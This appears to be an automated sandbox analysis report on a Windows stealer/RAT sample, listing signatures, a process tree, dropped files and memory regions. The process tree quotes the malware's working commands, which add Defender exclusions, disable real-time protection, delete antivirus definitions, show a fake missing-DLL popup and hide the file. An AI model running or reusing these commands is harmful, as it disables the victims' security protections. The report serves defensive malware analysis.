Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 17:14

General

  • Target
    2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 5.9MB
  • Sample260820-vsctcagj4s
  • SHA256 a4932d288c80e37cc07ca313ebe0e5a1af3e902810ca501597834319b436ba91
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Loads dropped DLL 16 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • UPX packed file 48 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 10 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4680
    • C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4020
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4016
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4156
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2596
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:2840
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The code execution cannot proceed because MSVCP140_CODE_GEN.dll was not found.', 0, 'MSVCP140_CODE_GEN.dll ', 0+16);close()""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The code execution cannot proceed because MSVCP140_CODE_GEN.dll was not found.', 0, 'MSVCP140_CODE_GEN.dll ', 0+16);close()"
          4⤵
            PID:3416
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4528
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:2512
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4468
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1164
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2416
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:5492
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5292
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:3536
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4200
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                PID:1240
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2844
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                PID:4872
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe""
              3⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:788
              • C:\Windows\system32\attrib.exe
                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
                4⤵
                • Views/modifies file attributes
                PID:1776
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4792
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2404

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 82fb99dc0cd12ba5e5b7a360092f848d2fbb2775d12ccb3aa60d8b3710ccc91a
              • MD5 SHA1 SHA512 TLSH

              VCRUNTIME140.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\VCRUNTIME140.dll
              • Size 95KB
              • SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _bz2.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_bz2.pyd
              • Size 47KB
              • SHA256 055a93c8b127dc840ac40ca70d4b0246ac88c9cde1ef99267bbe904086e0b7d3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _ctypes.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_ctypes.pyd
              • Size 58KB
              • SHA256 644712c3475be7f02c2493d75e6a831372d01243aca61aa8a1418f57e6d0b713
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _decimal.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_decimal.pyd
              • Size 106KB
              • SHA256 f281bd8219b4b0655e9c3a5516fe0b36e44c28b0ac9170028dd052ca234c357c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _hashlib.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_hashlib.pyd
              • Size 35KB
              • SHA256 b16c0cc3baa67246d8f44138c6105d66538e54d0afb999f446cae58ac83ef078
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _lzma.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_lzma.pyd
              • Size 85KB
              • SHA256 fc57bd20b6b128afa5faaac1fd0ce783031faaf39f71b58c9cacf87a16f3325f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _queue.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_queue.pyd
              • Size 25KB
              • SHA256 cc275b2b053410c6391339149baf5b58df121a915d18b889f184be02bedaf9bc
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _socket.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_socket.pyd
              • Size 42KB
              • SHA256 5d8c8186df42633679d6236c1febf93db26405c1706f9b5d767feab440ea38b0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _sqlite3.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_sqlite3.pyd
              • Size 50KB
              • SHA256 e168a1e229f57248253ead19f60802b25dc0dbc717c9776e157b8878d2ca4f3d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _ssl.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\_ssl.pyd
              • Size 62KB
              • SHA256 cae09bbbb12aa339fd9226698e7c7f003a26a95390c7dc3a2d71a1e540508644
              • MD5 SHA1 SHA512 SSDEEP TLSH

              base_library.zip

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\base_library.zip
              • Size 859KB
              • SHA256 9326b9141d8fb0413c70a056476c37900f53fbdbf4c33cd99508797917915822
              • MD5 SHA1 SHA512 SSDEEP TLSH

              blank.aes

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\blank.aes
              • Size 56KB
              • SHA256 1d27c0d3bbb7ed64ea6bd8d9176f397187a75f22d9262c326851aeef53052b97
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libcrypto-1_1.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\libcrypto-1_1.dll
              • Size 1.1MB
              • SHA256 9a36e09f111687e6b450937bb9c8aede7c37d598b1cccc1293eed2342d11cf47
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libffi-7.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\libffi-7.dll
              • Size 23KB
              • SHA256 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libssl-1_1.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\libssl-1_1.dll
              • Size 204KB
              • SHA256 2af3d965863018c66c2a9a2d66072fe3657bbd0b900473b9bbdcac8091686ae1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              python310.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\python310.dll
              • Size 1.4MB
              • SHA256 bec187f608507b57cf0475971ba646b8ab42288af8fdcf78bce25f1d8c84b1da
              • MD5 SHA1 SHA512 SSDEEP TLSH

              rar.exe

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\rar.exe
              • Size 615KB
              • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
              • MD5 SHA1 SHA512 SSDEEP TLSH

              rarreg.key

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\rarreg.key
              • Size 456B
              • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
              • MD5 SHA1 SHA512 TLSH

              select.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\select.pyd
              • Size 25KB
              • SHA256 84b2119ed6c33dfbdf29785292a529aabbf75139d163cfbcc99805623bb3863c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              sqlite3.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\sqlite3.dll
              • Size 622KB
              • SHA256 983f31bc687e0537d6028a9a65f4825cc560bbf3cb3eb0d3c0fcc2238219b5ed
              • MD5 SHA1 SHA512 SSDEEP TLSH

              unicodedata.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI46802\unicodedata.pyd
              • Size 289KB
              • SHA256 58605600fdaafbc0052a4c1eb92f68005307554cf5ad04c226c320a1c14f789e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_ainj5szg.0y4.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ainj5szg.0y4.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/1156-103-0x0000017727CE0000-0x0000017727D92000-memory.dmp

              memory/1156-104-0x0000017727A00000-0x0000017727A0A000-memory.dmp

              memory/1156-102-0x00000177279E0000-0x00000177279FE000-memory.dmp

              memory/2404-255-0x0000028162020000-0x00000281620D2000-memory.dmp

              memory/2596-93-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-81-0x00007FFB520BF000-0x00007FFB520C0000-memory.dmp

              memory/2596-98-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-95-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-94-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-88-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-90-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-126-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-91-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-87-0x000002034B0C0000-0x000002034B0E2000-memory.dmp

              memory/2596-89-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-82-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-83-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/2596-84-0x00007FFB51F30000-0x00007FFB528D4000-memory.dmp

              memory/4020-77-0x00007FFB6A500000-0x00007FFB6A50D000-memory.dmp

              memory/4020-30-0x00007FFB6A5E0000-0x00007FFB6A604000-memory.dmp

              memory/4020-70-0x00007FFB528E0000-0x00007FFB52C59000-memory.dmp

              memory/4020-74-0x00007FFB6A510000-0x00007FFB6A525000-memory.dmp

              memory/4020-76-0x00007FFB6A930000-0x00007FFB6A948000-memory.dmp

              memory/4020-50-0x00007FFB6A930000-0x00007FFB6A948000-memory.dmp

              memory/4020-80-0x00007FFB6A590000-0x00007FFB6A5AF000-memory.dmp

              memory/4020-79-0x00007FFB5DDC0000-0x00007FFB5DED8000-memory.dmp

              memory/4020-72-0x00007FFB6A5E0000-0x00007FFB6A604000-memory.dmp

              memory/4020-69-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp

              memory/4020-66-0x00007FFB6A530000-0x00007FFB6A55E000-memory.dmp

              memory/4020-99-0x00007FFB65900000-0x00007FFB65A7A000-memory.dmp

              memory/4020-64-0x00007FFB6A560000-0x00007FFB6A56D000-memory.dmp

              memory/4020-62-0x00007FFB6A570000-0x00007FFB6A589000-memory.dmp

              memory/4020-32-0x00007FFB6B560000-0x00007FFB6B56F000-memory.dmp

              memory/4020-71-0x00007FFB5E6E0000-0x00007FFB5E798000-memory.dmp

              memory/4020-60-0x00007FFB65900000-0x00007FFB65A7A000-memory.dmp

              memory/4020-121-0x00007FFB6A570000-0x00007FFB6A589000-memory.dmp

              memory/4020-116-0x00007FFB528E0000-0x00007FFB52C59000-memory.dmp

              memory/4020-106-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp

              memory/4020-117-0x00007FFB5E6E0000-0x00007FFB5E798000-memory.dmp

              memory/4020-115-0x00007FFB6A530000-0x00007FFB6A55E000-memory.dmp

              memory/4020-107-0x00007FFB6A5E0000-0x00007FFB6A604000-memory.dmp

              memory/4020-24-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp

              memory/4020-58-0x00007FFB6A590000-0x00007FFB6A5AF000-memory.dmp

              memory/4020-143-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp

              memory/4020-188-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp

              memory/4020-218-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp

              memory/4020-52-0x00007FFB6A5B0000-0x00007FFB6A5DC000-memory.dmp

              memory/4020-257-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp

              memory/4020-287-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp

              memory/4020-317-0x00007FFB52C60000-0x00007FFB530C6000-memory.dmp